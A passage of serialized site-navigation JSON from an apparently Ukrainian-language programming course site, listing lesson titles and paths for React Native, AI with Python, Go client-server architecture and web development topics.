SQLite","\u002Freact-native\u002Fversion2\u002Flocal-storage-mmkv-sqlite","15.react-native\u002Fversion2\u002F19.local-storage-mmkv-sqlite",{"title":3654,"path":3655,"stem":3656},"Офлайн-First і синхронізація","\u002Freact-native\u002Fversion2\u002Foffline-first-sync","15.react-native\u002Fversion2\u002F20.offline-first-sync",{"title":3658,"path":3659,"stem":3660},"Камера, медіа та файлова система","\u002Freact-native\u002Fversion2\u002Fcamera-media-filesystem","15.react-native\u002Fversion2\u002F21.camera-media-filesystem",{"title":3662,"path":3663,"stem":3664},"Карти та геолокація","\u002Freact-native\u002Fversion2\u002Fmaps-and-location","15.react-native\u002Fversion2\u002F22.maps-and-location",{"title":3666,"path":3667,"stem":3668},"Жести та дотики","\u002Freact-native\u002Fversion2\u002Fgestures-and-touch","15.react-native\u002Fversion2\u002F23.gestures-and-touch",{"title":3670,"path":3671,"stem":3672},"Анімації з Reanimated","\u002Freact-native\u002Fversion2\u002Freanimated-animations","15.react-native\u002Fversion2\u002F24.reanimated-animations",{"title":3674,"path":3675,"stem":3676},"Push і локальні сповіщення","\u002Freact-native\u002Fversion2\u002Fpush-and-local-notifications","15.react-native\u002Fversion2\u002F25.push-and-local-notifications",{"title":3678,"path":3679,"stem":3680},"Інтернаціоналізація та доступність","\u002Freact-native\u002Fversion2\u002Faccessibility-and-i18n","15.react-native\u002Fversion2\u002F26.accessibility-and-i18n",{"title":3682,"path":3683,"stem":3684},"EAS Build та профілі збірки","\u002Freact-native\u002Fversion2\u002Feas-build-and-profiles","15.react-native\u002Fversion2\u002F29.eas-build-and-profiles",{"title":3686,"path":3687,"stem":3688},"Публікація в App Store та Google Play","\u002Freact-native\u002Fversion2\u002Fapp-store-play-release","15.react-native\u002Fversion2\u002F30.app-store-play-release",{"title":3690,"path":3691,"stem":3692,"children":3693,"page":59},"Ai Python","\u002Fai-python","16.ai-python",[3694,3703,3712,3721,3750,3776,3801,3834,3851,3864,3873,3886,3895,3916,3929,3950],{"title":3695,"path":3696,"stem":3697,"children":3698,"page":59},"Intro To Ai","\u002Fai-python\u002Fintro-to-ai","16.ai-python\u002F01.intro-to-ai",[3699],{"title":3700,"path":3701,"stem":3702},"Вступ до штучного інтелекту та машинного навчання","\u002Fai-python\u002Fintro-to-ai\u002Fintro-to-ai","16.ai-python\u002F01.intro-to-ai\u002F01.intro-to-ai",{"title":3704,"path":3705,"stem":3706,"children":3707,"page":59},"Jupyter Notebook","\u002Fai-python\u002Fjupyter-notebook","16.ai-python\u002F02.jupyter-notebook",[3708],{"title":3709,"path":3710,"stem":3711},"Знайомство з Jupyter Notebook та JupyterLab","\u002Fai-python\u002Fjupyter-notebook\u002Fjupyter-notebook","16.ai-python\u002F02.jupyter-notebook\u002F02.jupyter-notebook",{"title":3713,"path":3714,"stem":3715,"children":3716,"page":59},"Numpy Pandas","\u002Fai-python\u002Fnumpy-pandas","16.ai-python\u002F03.numpy-pandas",[3717],{"title":3718,"path":3719,"stem":3720},"Робота з даними з використанням NumPy і pandas","\u002Fai-python\u002Fnumpy-pandas\u002Fnumpy-pandas","16.ai-python\u002F03.numpy-pandas\u002F03.numpy-pandas",{"title":3722,"path":3723,"stem":3724,"children":3725,"page":59},"Statistics Basics","\u002Fai-python\u002Fstatistics-basics","16.ai-python\u002F04.statistics-basics",[3726,3730,3734,3738,3742,3746],{"title":3727,"path":3728,"stem":3729},"Випадкові величини та їх типи","\u002Fai-python\u002Fstatistics-basics\u002Frandom-variables","16.ai-python\u002F04.statistics-basics\u002F01.random-variables",{"title":3731,"path":3732,"stem":3733},"Міри центральної тенденції","\u002Fai-python\u002Fstatistics-basics\u002Fcentral-tendency","16.ai-python\u002F04.statistics-basics\u002F02.central-tendency",{"title":3735,"path":3736,"stem":3737},"Міри варіації (розсіювання)","\u002Fai-python\u002Fstatistics-basics\u002Fvariability","16.ai-python\u002F04.statistics-basics\u002F03.variability",{"title":3739,"path":3740,"stem":3741},"Розподіли випадкових величин","\u002Fai-python\u002Fstatistics-basics\u002Fdistributions","16.ai-python\u002F04.statistics-basics\u002F04.distributions",{"title":3743,"path":3744,"stem":3745},"Кореляція та взаємозв'язки","\u002Fai-python\u002Fstatistics-basics\u002Fcorrelation","16.ai-python\u002F04.statistics-basics\u002F05.correlation",{"title":3747,"path":3748,"stem":3749},"Викиди та аномалії","\u002Fai-python\u002Fstatistics-basics\u002Foutliers","16.ai-python\u002F04.statistics-basics\u002F06.outliers",{"title":3751,"path":3752,"stem":3753,"children":3754},"Візуалізація даних за допомогою matplotlib","\u002Fai-python\u002Fdata-visualization","16.ai-python\u002F05.data-visualization\u002Findex",[3755,3756,3760,3764,3768,3772],{"title":3751,"path":3752,"stem":3753},{"title":3757,"path":3758,"stem":3759},"Основи matplotlib — Figure, Axes та перший графік","\u002Fai-python\u002Fdata-visualization\u002Fmatplotlib-basics","16.ai-python\u002F05.data-visualization\u002F01.matplotlib-basics",{"title":3761,"path":3762,"stem":3763},"Візуалізація розподілів — гістограми та box plots","\u002Fai-python\u002Fdata-visualization\u002Fdistributions","16.ai-python\u002F05.data-visualization\u002F02.distributions",{"title":3765,"path":3766,"stem":3767},"Візуалізація залежностей — scatter plots та кореляція","\u002Fai-python\u002Fdata-visualization\u002Frelationships","16.ai-python\u002F05.data-visualization\u002F03.relationships",{"title":3769,"path":3770,"stem":3771},"Візуалізація категоріальних даних — bar charts та pie charts","\u002Fai-python\u002Fdata-visualization\u002Fcategorical","16.ai-python\u002F05.data-visualization\u002F04.categorical",{"title":3773,"path":3774,"stem":3775},"Композиції та стилізація — subplots та багатопанельні дашборди","\u002Fai-python\u002Fdata-visualization\u002Fsubplots-styling","16.ai-python\u002F05.data-visualization\u002F05.subplots-styling",{"title":3777,"path":3778,"stem":3779,"children":3780,"page":59},"Linear Regression","\u002Fai-python\u002Flinear-regression","16.ai-python\u002F06.linear-regression",[3781,3785,3789,3793,3797],{"title":3782,"path":3783,"stem":3784},"Регресійна задача та лінійна регресія з однією змінною","\u002Fai-python\u002Flinear-regression\u002Fregression-task","16.ai-python\u002F06.linear-regression\u002F01.regression-task",{"title":3786,"path":3787,"stem":3788},"Метрики якості регресії — як оцінити модель","\u002Fai-python\u002Flinear-regression\u002Fquality-metrics","16.ai-python\u002F06.linear-regression\u002F02.quality-metrics",{"title":3790,"path":3791,"stem":3792},"Градієнтний спуск — як модель навчається","\u002Fai-python\u002Flinear-regression\u002Fgradient-descent","16.ai-python\u002F06.linear-regression\u002F03.gradient-descent",{"title":3794,"path":3795,"stem":3796},"Множинна лінійна регресія — модель з багатьма ознаками","\u002Fai-python\u002Flinear-regression\u002Fmultiple-regression","16.ai-python\u002F06.linear-regression\u002F04.multiple-regression",{"title":3798,"path":3799,"stem":3800},"Практичні завдання та резюме модуля","\u002Fai-python\u002Flinear-regression\u002Fpractice","16.ai-python\u002F06.linear-regression\u002F05.practice",{"title":3802,"path":3803,"stem":3804,"children":3805,"page":59},"Practical Regression","\u002Fai-python\u002Fpractical-regression","16.ai-python\u002F07.practical-regression",[3806,3810,3814,3818,3822,3826,3830],{"title":3807,"path":3808,"stem":3809},"Знайомство з scikit-learn","\u002Fai-python\u002Fpractical-regression\u002Fintro-scikit-learn","16.ai-python\u002F07.practical-regression\u002F01.intro-scikit-learn",{"title":3811,"path":3812,"stem":3813},"Exploratory Data Analysis датасету Housing Prices","\u002Fai-python\u002Fpractical-regression\u002Fhousing-dataset-eda","16.ai-python\u002F07.practical-regression\u002F02.housing-dataset-eda",{"title":3815,"path":3816,"stem":3817},"Попередня обробка даних (Data Preprocessing)","\u002Fai-python\u002Fpractical-regression\u002Fdata-preprocessing","16.ai-python\u002F07.practical-regression\u002F03.data-preprocessing",{"title":3819,"path":3820,"stem":3821},"Train\u002FTest Split та перша повноцінна модель","\u002Fai-python\u002Fpractical-regression\u002Ftrain-test-split","16.ai-python\u002F07.practical-regression\u002F04.train-test-split",{"title":3823,"path":3824,"stem":3825},"Перенавчання та недонавчання","\u002Fai-python\u002Fpractical-regression\u002Foverfitting-underfitting","16.ai-python\u002F07.practical-regression\u002F05.overfitting-underfitting",{"title":3827,"path":3828,"stem":3829},"Крос-валідація (Cross-Validation)","\u002Fai-python\u002Fpractical-regression\u002Fcross-validation","16.ai-python\u002F07.practical-regression\u002F06.cross-validation",{"title":3831,"path":3832,"stem":3833},"Гіперпараметри та їх оптимізація","\u002Fai-python\u002Fpractical-regression\u002Fhyperparameter-tuning","16.ai-python\u002F07.practical-regression\u002F07.hyperparameter-tuning",{"title":3835,"path":3836,"stem":3837,"children":3838,"page":59},"Polynomial Regression","\u002Fai-python\u002Fpolynomial-regression","16.ai-python\u002F08.polynomial-regression",[3839,3843,3847],{"title":3840,"path":3841,"stem":3842},"Нелінійні залежності та поліноміальна регресія","\u002Fai-python\u002Fpolynomial-regression\u002Fnonlinear-patterns","16.ai-python\u002F08.polynomial-regression\u002F01.nonlinear-patterns",{"title":3844,"path":3845,"stem":3846},"Регуляризація в регресії — Ridge та Lasso","\u002Fai-python\u002Fpolynomial-regression\u002Fregularization-methods","16.ai-python\u002F08.polynomial-regression\u002F02.regularization-methods",{"title":3848,"path":3849,"stem":3850},"Практика — поліноміальна регресія та регуляризація на Housing Prices","\u002Fai-python\u002Fpolynomial-regression\u002Fhousing-prices-practice","16.ai-python\u002F08.polynomial-regression\u002F03.housing-prices-practice",{"title":3852,"path":3853,"stem":3854,"children":3855,"page":59},"Decision Trees Random Forest","\u002Fai-python\u002Fdecision-trees-random-forest","16.ai-python\u002F09.decision-trees-random-forest",[3856,3860],{"title":3857,"path":3858,"stem":3859},"Дерева рішень — моделі з прозорою та зрозумілою логікою","\u002Fai-python\u002Fdecision-trees-random-forest\u002Fdecision-trees","16.ai-python\u002F09.decision-trees-random-forest\u002F01.decision-trees",{"title":3861,"path":3862,"stem":3863},"Random Forest — ансамблі дерев рішень","\u002Fai-python\u002Fdecision-trees-random-forest\u002Frandom-forest","16.ai-python\u002F09.decision-trees-random-forest\u002F02.random-forest",{"title":3865,"path":3866,"stem":3867,"children":3868,"page":59},"Gradient Boosting","\u002Fai-python\u002Fgradient-boosting","16.ai-python\u002F10.gradient-boosting",[3869],{"title":3870,"path":3871,"stem":3872},"Градієнтний бустинг та XGBoost — послідовне виправлення помилок","\u002Fai-python\u002Fgradient-boosting\u002Fgradient-boosting-xgboost","16.ai-python\u002F10.gradient-boosting\u002F01.gradient-boosting-xgboost",{"title":3874,"path":3875,"stem":3876,"children":3877,"page":59},"Logistic Regression Classification","\u002Fai-python\u002Flogistic-regression-classification","16.ai-python\u002F11.logistic-regression-classification",[3878,3882],{"title":3879,"path":3880,"stem":3881},"Основи класифікації та логістична регресія","\u002Fai-python\u002Flogistic-regression-classification\u002Fclassification-basics","16.ai-python\u002F11.logistic-regression-classification\u002F01.classification-basics",{"title":3883,"path":3884,"stem":3885},"Метрики якості класифікації","\u002Fai-python\u002Flogistic-regression-classification\u002Fclassification-metrics","16.ai-python\u002F11.logistic-regression-classification\u002F02.classification-metrics",{"title":3887,"path":3888,"stem":3889,"children":3890,"page":59},"Neural Networks Basics","\u002Fai-python\u002Fneural-networks-basics","16.ai-python\u002F12.neural-networks-basics",[3891],{"title":3892,"path":3893,"stem":3894},"Вступ до нейронних мереж — від персептрона до багатошарових мереж","\u002Fai-python\u002Fneural-networks-basics\u002Fperceptron-to-mlp","16.ai-python\u002F12.neural-networks-basics\u002F01.perceptron-to-mlp",{"title":3896,"path":3897,"stem":3898,"children":3899,"page":59},"Pytorch Intro","\u002Fai-python\u002Fpytorch-intro","16.ai-python\u002F13.pytorch-intro",[3900,3904,3908,3912],{"title":3901,"path":3902,"stem":3903},"Тензори та автоматичне диференціювання в PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Ftensors-and-autograd","16.ai-python\u002F13.pytorch-intro\u002F01.tensors-and-autograd",{"title":3905,"path":3906,"stem":3907},"Побудова та тренування нейронних мереж у PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Fbuilding-and-training","16.ai-python\u002F13.pytorch-intro\u002F02.building-and-training",{"title":3909,"path":3910,"stem":3911},"Робота з даними та регуляризація в PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Fdata-and-regularization","16.ai-python\u002F13.pytorch-intro\u002F03.data-and-regularization",{"title":3913,"path":3914,"stem":3915},"Просунуті теми PyTorch — GPU, оптимізація та deployment","\u002Fai-python\u002Fpytorch-intro\u002Fadvanced-topics","16.ai-python\u002F13.pytorch-intro\u002F04.advanced-topics",{"title":3917,"path":3918,"stem":3919,"children":3920,"page":59},"Activation Functions Heart Disease","\u002Fai-python\u002Factivation-functions-heart-disease","16.ai-python\u002F14.activation-functions-heart-disease",[3921,3925],{"title":3922,"path":3923,"stem":3924},"Функції активації та побудова нейронної мережі для передбачення вад серця","\u002Fai-python\u002Factivation-functions-heart-disease\u002Fheart-disease-prediction","16.ai-python\u002F14.activation-functions-heart-disease\u002F01.heart-disease-prediction",{"title":3926,"path":3927,"stem":3928},"Бонус — Повний приклад Student Performance Prediction","\u002Fai-python\u002Factivation-functions-heart-disease\u002Fstudent-performance-bonus","16.ai-python\u002F14.activation-functions-heart-disease\u002F02.student-performance-bonus",{"title":3930,"path":3931,"stem":3932,"children":3933,"page":59},"Cnn Image Classification","\u002Fai-python\u002Fcnn-image-classification","16.ai-python\u002F15.cnn-image-classification",[3934,3938,3942,3946],{"title":3935,"path":3936,"stem":3937},"Основи згорткових нейронних мереж — чому не MLP?","\u002Fai-python\u002Fcnn-image-classification\u002Fcnn-fundamentals","16.ai-python\u002F15.cnn-image-classification\u002F01.cnn-fundamentals",{"title":3939,"path":3940,"stem":3941},"Практична імплементація CNN для класифікації MNIST","\u002Fai-python\u002Fcnn-image-classification\u002Fmnist-classification","16.ai-python\u002F15.cnn-image-classification\u002F02.mnist-classification",{"title":3943,"path":3944,"stem":3945},"Глибші CNN та аугментація даних для CIFAR-10","\u002Fai-python\u002Fcnn-image-classification\u002Fcifar10-and-data-augmentation","16.ai-python\u002F15.cnn-image-classification\u002F03.cifar10-and-data-augmentation",{"title":3947,"path":3948,"stem":3949},"Transfer Learning та візуалізація внутрішніх представлень CNN","\u002Fai-python\u002Fcnn-image-classification\u002Ftransfer-learning-and-visualization","16.ai-python\u002F15.cnn-image-classification\u002F04.transfer-learning-and-visualization",{"title":3951,"path":3952,"stem":3953,"children":3954,"page":59},"Batching Normalization Deep Networks","\u002Fai-python\u002Fbatching-normalization-deep-networks","16.ai-python\u002F16.batching-normalization-deep-networks",[3955,3959,3963,3967,3971,3975,3979],{"title":3956,"path":3957,"stem":3958},"Mini-batch Gradient Descent та ефективна обробка даних","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fmini-batch-gradient-descent","16.ai-python\u002F16.batching-normalization-deep-networks\u002F01.mini-batch-gradient-descent",{"title":3960,"path":3961,"stem":3962},"Ініціалізація ваг — фундамент стабільного навчання","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fweight-initialization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F02.weight-initialization",{"title":3964,"path":3965,"stem":3966},"Batch Normalization — прорив у глибокому навчанні","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fbatch-normalization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F03.batch-normalization",{"title":3968,"path":3969,"stem":3970},"Dropout та комбіновані стратегії регуляризації","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fdropout-and-regularization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F04.dropout-and-regularization",{"title":3972,"path":3973,"stem":3974},"Проєктування глибоких мереж — від теорії до практики","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fdeep-networks-architectures","16.ai-python\u002F16.batching-normalization-deep-networks\u002F05.deep-networks-architectures",{"title":3976,"path":3977,"stem":3978},"Планування learning rate — коли та як зменшувати крок навчання","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Flearning-rate-scheduling","16.ai-python\u002F16.batching-normalization-deep-networks\u002F06.learning-rate-scheduling",{"title":3980,"path":3981,"stem":3982},"Підсумковий проєкт — побудова сучасного класифікатора зображень","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Ffinal-project-deep-classifier","16.ai-python\u002F16.batching-normalization-deep-networks\u002F07.final-project-deep-classifier",{"title":3984,"icon":658,"path":3985,"stem":3986,"children":3987,"page":59},"Клієнт-серверна архітектура","\u002Fclient-server-architecture","17.client-server-architecture",[3988,3992,3996,4000,4004,4008,4012,4016,4020,4024,4028,4032,4036,4040,4044,4048,4052,4056],{"title":3989,"path":3990,"stem":3991},"Архітектура клієнт-серверних систем та основи Go","\u002Fclient-server-architecture\u002Fclient-server-architecture-and-go","17.client-server-architecture\u002F01.client-server-architecture-and-go",{"title":3993,"path":3994,"stem":3995},"Система типів та модель пам’яті мови Go","\u002Fclient-server-architecture\u002Ftype-system-and-memory-model","17.client-server-architecture\u002F02.type-system-and-memory-model",{"title":3997,"path":3998,"stem":3999},"Інтерфейси та модель конкурентності мови Go","\u002Fclient-server-architecture\u002Finterfaces-and-concurrency-model","17.client-server-architecture\u002F03.interfaces-and-concurrency-model",{"title":4001,"path":4002,"stem":4003},"Сокетне програмування та протокол TCP у Go","\u002Fclient-server-architecture\u002Ftcp-socket-programming","17.client-server-architecture\u002F04.tcp-socket-programming",{"title":4005,"path":4006,"stem":4007},"Протокол UDP та датаграмна передача даних","\u002Fclient-server-architecture\u002Fudp-datagram-transmission","17.client-server-architecture\u002F05.udp-datagram-transmission",{"title":4009,"path":4010,"stem":4011},"Криптографічний захист каналів зв","\u002Fclient-server-architecture\u002Ftls-cryptographic-channel-protection","17.client-server-architecture\u002F06.tls-cryptographic-channel-protection",{"title":4013,"path":4014,"stem":4015},"Прикладні мережеві протоколи DNS та SMTP","\u002Fclient-server-architecture\u002Fdns-smtp-application-protocols","17.client-server-architecture\u002F07.dns-smtp-application-protocols",{"title":4017,"path":4018,"stem":4019},"Протокол HTTP та стандартний вебсервер Go","\u002Fclient-server-architecture\u002Fhttp-protocol-and-web-server","17.client-server-architecture\u002F08.http-protocol-and-web-server",{"title":4021,"path":4022,"stem":4023},"Проєктування REST API та маршрутизація засобами Chi","\u002Fclient-server-architecture\u002Frest-api-design-and-chi-routing","17.client-server-architecture\u002F09.rest-api-design-and-chi-routing",{"title":4025,"path":4026,"stem":4027},"Лекція 10. Шарувата архітектура та конвеєри обробки запитів","\u002Fclient-server-architecture\u002Flayered-architecture-and-middleware-pipelines","17.client-server-architecture\u002F10.layered-architecture-and-middleware-pipelines",{"title":4029,"path":4030,"stem":4031},"Лекція 11. Архітектура та маршрутизація фреймворку Gin","\u002Fclient-server-architecture\u002Fgin-framework-architecture-and-routing","17.client-server-architecture\u002F11.gin-framework-architecture-and-routing",{"title":4033,"path":4034,"stem":4035},"Лекція 12. Валідація даних, безпека та документування у Gin","\u002Fclient-server-architecture\u002Fdata-validation-security-and-documentation-in-gin","17.client-server-architecture\u002F12.data-validation-security-and-documentation-in-gin",{"title":4037,"path":4038,"stem":4039},"Лекція 13. Взаємодія з реляційними СУБД та технології ORM","\u002Fclient-server-architecture\u002Frelational-databases-and-orm","17.client-server-architecture\u002F13.relational-databases-and-orm",{"title":4041,"path":4042,"stem":4043},"Потокова передача даних та протокол WebSocket","\u002Fclient-server-architecture\u002Fstreaming-data-and-websockets","17.client-server-architecture\u002F14.streaming-data-and-websockets",{"title":4045,"path":4046,"stem":4047},"Міжсервісна взаємодія на основі протоколу gRPC","\u002Fclient-server-architecture\u002Fgrpc-inter-service-communication","17.client-server-architecture\u002F15.grpc-inter-service-communication",{"title":4049,"path":4050,"stem":4051},"Асинхронний обмін повідомленнями та протоколи черг","\u002Fclient-server-architecture\u002Fasynchronous-message-exchange-and-queue-protocols","17.client-server-architecture\u002F16.asynchronous-message-exchange-and-queue-protocols",{"title":4053,"path":4054,"stem":4055},"Протоколи потокового медіа та технологія WebRTC","\u002Fclient-server-architecture\u002Fstreaming-media-protocols-and-webrtc","17.client-server-architecture\u002F17.streaming-media-protocols-and-webrtc",{"title":4057,"path":4058,"stem":4059},"Моніторинг, безпека та контейнеризація застосунків","\u002Fclient-server-architecture\u002Fmonitoring-security-and-containerization","17.client-server-architecture\u002F18.monitoring-security-and-containerization",{"title":4061,"icon":2118,"path":4062,"stem":4063,"children":4064,"page":59},"Розробка WEB-застосувань","\u002Fweb-development","18.web-development",[4065,4110,4148,4177,4206,4263,4313,4407,4473,4555,4588,4616,4658,4704,4747],{"title":4066,"icon":658,"path":4067,"stem":4068,"children":4069,"page":59},"Архітектура комп'ютерних мереж та мережеві протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols","18.web-development\u002F01.network-architecture-and-protocols",[4070,4074,4078,4082,4086,4090,4094,4098,4102,4106],{"title":4071,"path":4072,"stem":4073},"Еволюція веброзробки та модель клієнт-сервер","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fweb-evolution-client-server","18.web-development\u002F01.network-architecture-and-protocols\u002F01.web-evolution-client-server",{"title":4075,"path":4076,"stem":4077},"Еталонна модель OSI","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fosi-model","18.web-development\u002F01.network-architecture-and-protocols\u002F02.osi-model",{"title":4079,"path":4080,"stem":4081},"Стек протоколів TCP\u002FIP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-ip-stack","18.web-development\u002F01.network-architecture-and-protocols\u002F03.tcp-ip-stack",{"title":4083,"path":4084,"stem":4085},"IP-адресація, порти та сокети","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fip-addressing-ports-sockets","18.web-development\u002F01.network-architecture-and-protocols\u002F04.ip-addressing-ports-sockets",{"title":4087,"path":4088,"stem":4089},"Протоколи TCP та UDP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-udp-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F05.tcp-udp-protocols",{"title":4091,"path":4092,"stem":4093},"Система доменних імен DNS","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fdns-system","18.web-development\u002F01.network-architecture-and-protocols\u002F06.dns-system",{"title":4095,"path":4096,"stem":4097},"Протокол SMTP та поштові протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fsmtp-email-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F07.smtp-email-protocols",{"title":4099,"path":4100,"stem":4101},"Протокол WebSocket","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fwebsocket-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F08.websocket-protocol",{"title":4103,"path":4104,"stem":4105},"Протокол SSH","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fssh-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F09.ssh-protocol",{"title":4107,"path":4108,"stem":4109},"Огляд сучасних серверних технологій","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fmodern-backend-technologies","18.web-development\u002F01.network-architecture-and-protocols\u002F10.modern-backend-technologies",{"title":4111,"icon":4112,"path":4113,"stem":4114,"children":4115,"page":59},"Протокол HTTP та захищена передача даних HTTPS","i-lucide-lock","\u002Fweb-development\u002Fhttp-and-https","18.web-development\u002F02.http-and-https",[4116,4120,4124,4128,4132,4136,4140,4144],{"title":4117,"path":4118,"stem":4119},"Вступ до протоколу HTTP та еволюція веб-технологій","\u002Fweb-development\u002Fhttp-and-https\u002Fintroduction-and-evolution","18.web-development\u002F02.http-and-https\u002F01.introduction-and-evolution",{"title":4121,"path":4122,"stem":4123},"Анатомія HTTP-запиту","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-request-structure","18.web-development\u002F02.http-and-https\u002F02.http-request-structure",{"title":4125,"path":4126,"stem":4127},"Анатомія HTTP-відповіді","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-response-structure","18.web-development\u002F02.http-and-https\u002F03.http-response-structure",{"title":4129,"path":4130,"stem":4131},"Методи HTTP та їхня семантика","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-methods","18.web-development\u002F02.http-and-https\u002F04.http-methods",{"title":4133,"path":4134,"stem":4135},"Коди статусу HTTP та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-status-codes","18.web-development\u002F02.http-and-https\u002F05.http-status-codes",{"title":4137,"path":4138,"stem":4139},"HTTP-заголовки та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-headers","18.web-development\u002F02.http-and-https\u002F06.http-headers",{"title":4141,"path":4142,"stem":4143},"CORS та механізми безпеки HTTP","\u002Fweb-development\u002Fhttp-and-https\u002Fcors-and-security","18.web-development\u002F02.http-and-https\u002F07.cors-and-security",{"title":4145,"path":4146,"stem":4147},"HTTPS та криптографічні основи TLS","\u002Fweb-development\u002Fhttp-and-https\u002Fhttps-and-tls","18.web-development\u002F02.http-and-https\u002F08.https-and-tls",{"title":4149,"icon":2498,"path":4150,"stem":4151,"children":4152,"page":59},"Система типів мови TypeScript","\u002Fweb-development\u002Ftypescript-type-system","18.web-development\u002F03.typescript-type-system",[4153,4157,4161,4165,4169,4173],{"title":4154,"path":4155,"stem":4156},"Знайомство з TypeScript Compiler","\u002Fweb-development\u002Ftypescript-type-system\u002Fintroduction-compiler-config","18.web-development\u002F03.typescript-type-system\u002F01.introduction-compiler-config",{"title":4158,"path":4159,"stem":4160},"Примітивні типи даних: string, number, boolean","\u002Fweb-development\u002Ftypescript-type-system\u002Fprimitive-special-types","18.web-development\u002F03.typescript-type-system\u002F02.primitive-special-types",{"title":4162,"path":4163,"stem":4164},"Масиви, кортежі та об","\u002Fweb-development\u002Ftypescript-type-system\u002Farrays-tuples-objects","18.web-development\u002F03.typescript-type-system\u002F03.arrays-tuples-objects",{"title":4166,"path":4167,"stem":4168},"Псевдоніми типів, Union типи, Intersection типи та літеральні типи","\u002Fweb-development\u002Ftypescript-type-system\u002Funion-intersection-literals","18.web-development\u002F03.typescript-type-system\u002F04.union-intersection-literals",{"title":4170,"path":4171,"stem":4172},"Type Narrowing (звуження типів)","\u002Fweb-development\u002Ftypescript-type-system\u002Ftype-narrowing","18.web-development\u002F03.typescript-type-system\u002F05.type-narrowing",{"title":4174,"path":4175,"stem":4176},"Типізація функцій","\u002Fweb-development\u002Ftypescript-type-system\u002Ffunctions-typing","18.web-development\u002F03.typescript-type-system\u002F06.functions-typing",{"title":4178,"icon":2498,"path":4179,"stem":4180,"children":4181,"page":59},"Розширені засоби мови TypeScript","\u002Fweb-development\u002Ftypescript-advanced","18.web-development\u002F04.typescript-advanced",[4182,4186,4190,4194,4198,4202],{"title":4183,"path":4184,"stem":4185},"Interfaces та Classes","\u002Fweb-development\u002Ftypescript-advanced\u002Finterfaces-classes","18.web-development\u002F04.typescript-advanced\u002F01.interfaces-classes",{"title":4187,"path":4188,"stem":4189},"Основи Generic типів","\u002Fweb-development\u002Ftypescript-advanced\u002Fgenerics-fundamentals","18.web-development\u002F04.typescript-advanced\u002F02.generics-fundamentals",{"title":4191,"path":4192,"stem":4193},"Enums та Decorators","\u002Fweb-development\u002Ftypescript-advanced\u002Fenums-decorators","18.web-development\u002F04.typescript-advanced\u002F03.enums-decorators",{"title":4195,"path":4196,"stem":4197},"Utility Types","\u002Fweb-development\u002Ftypescript-advanced\u002Futility-types","18.web-development\u002F04.typescript-advanced\u002F04.utility-types",{"title":4199,"path":4200,"stem":4201},"Mapped та Conditional Types","\u002Fweb-development\u002Ftypescript-advanced\u002Fmapped-conditional-types","18.web-development\u002F04.typescript-advanced\u002F05.mapped-conditional-types",{"title":4203,"path":4204,"stem":4205},"Модулі та Strict Mode","\u002Fweb-development\u002Ftypescript-advanced\u002Fmodules-strict-mode","18.web-development\u002F04.typescript-advanced\u002F06.modules-strict-mode",{"title":4207,"icon":4208,"path":4209,"stem":4210,"children":4211,"page":59},"Платформа Node.js як середовище виконання","i-devicon-nodejs","\u002Fweb-development\u002Fnodejs-platform","18.web-development\u002F05.nodejs-platform",[4212,4216,4220,4224,4228,4232,4236,4240,4244,4248,4252,4255,4259],{"title":4213,"path":4214,"stem":4215},"Що таке Node.js та його архітектура","\u002Fweb-development\u002Fnodejs-platform\u002Fwhat-is-nodejs","18.web-development\u002F05.nodejs-platform\u002F01.what-is-nodejs",{"title":4217,"path":4218,"stem":4219},"Event Loop — серце Node.js","\u002Fweb-development\u002Fnodejs-platform\u002Fevent-loop","18.web-development\u002F05.nodejs-platform\u002F02.event-loop",{"title":4221,"path":4222,"stem":4223},"Модульні системи: CommonJS vs ES Modules","\u002Fweb-development\u002Fnodejs-platform\u002Fmodule-systems","18.web-development\u002F05.nodejs-platform\u002F03.module-systems",{"title":4225,"path":4226,"stem":4227},"npm та package.json","\u002Fweb-development\u002Fnodejs-platform\u002Fnpm-package-json","18.web-development\u002F05.nodejs-platform\u002F04.npm-package-json",{"title":4229,"path":4230,"stem":4231},"Глобальні об\\","\u002Fweb-development\u002Fnodejs-platform\u002Fglobal-objects","18.web-development\u002F05.nodejs-platform\u002F05.global-objects",{"title":4233,"path":4234,"stem":4235},"Вбудований модуль fs (File System)","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-fs","18.web-development\u002F05.nodejs-platform\u002F06.built-in-modules-fs",{"title":4237,"path":4238,"stem":4239},"Вбудований модуль path","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-path","18.web-development\u002F05.nodejs-platform\u002F07.built-in-modules-path",{"title":4241,"path":4242,"stem":4243},"Вбудований модуль http","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-http","18.web-development\u002F05.nodejs-platform\u002F08.built-in-modules-http",{"title":4245,"path":4246,"stem":4247},"Streams 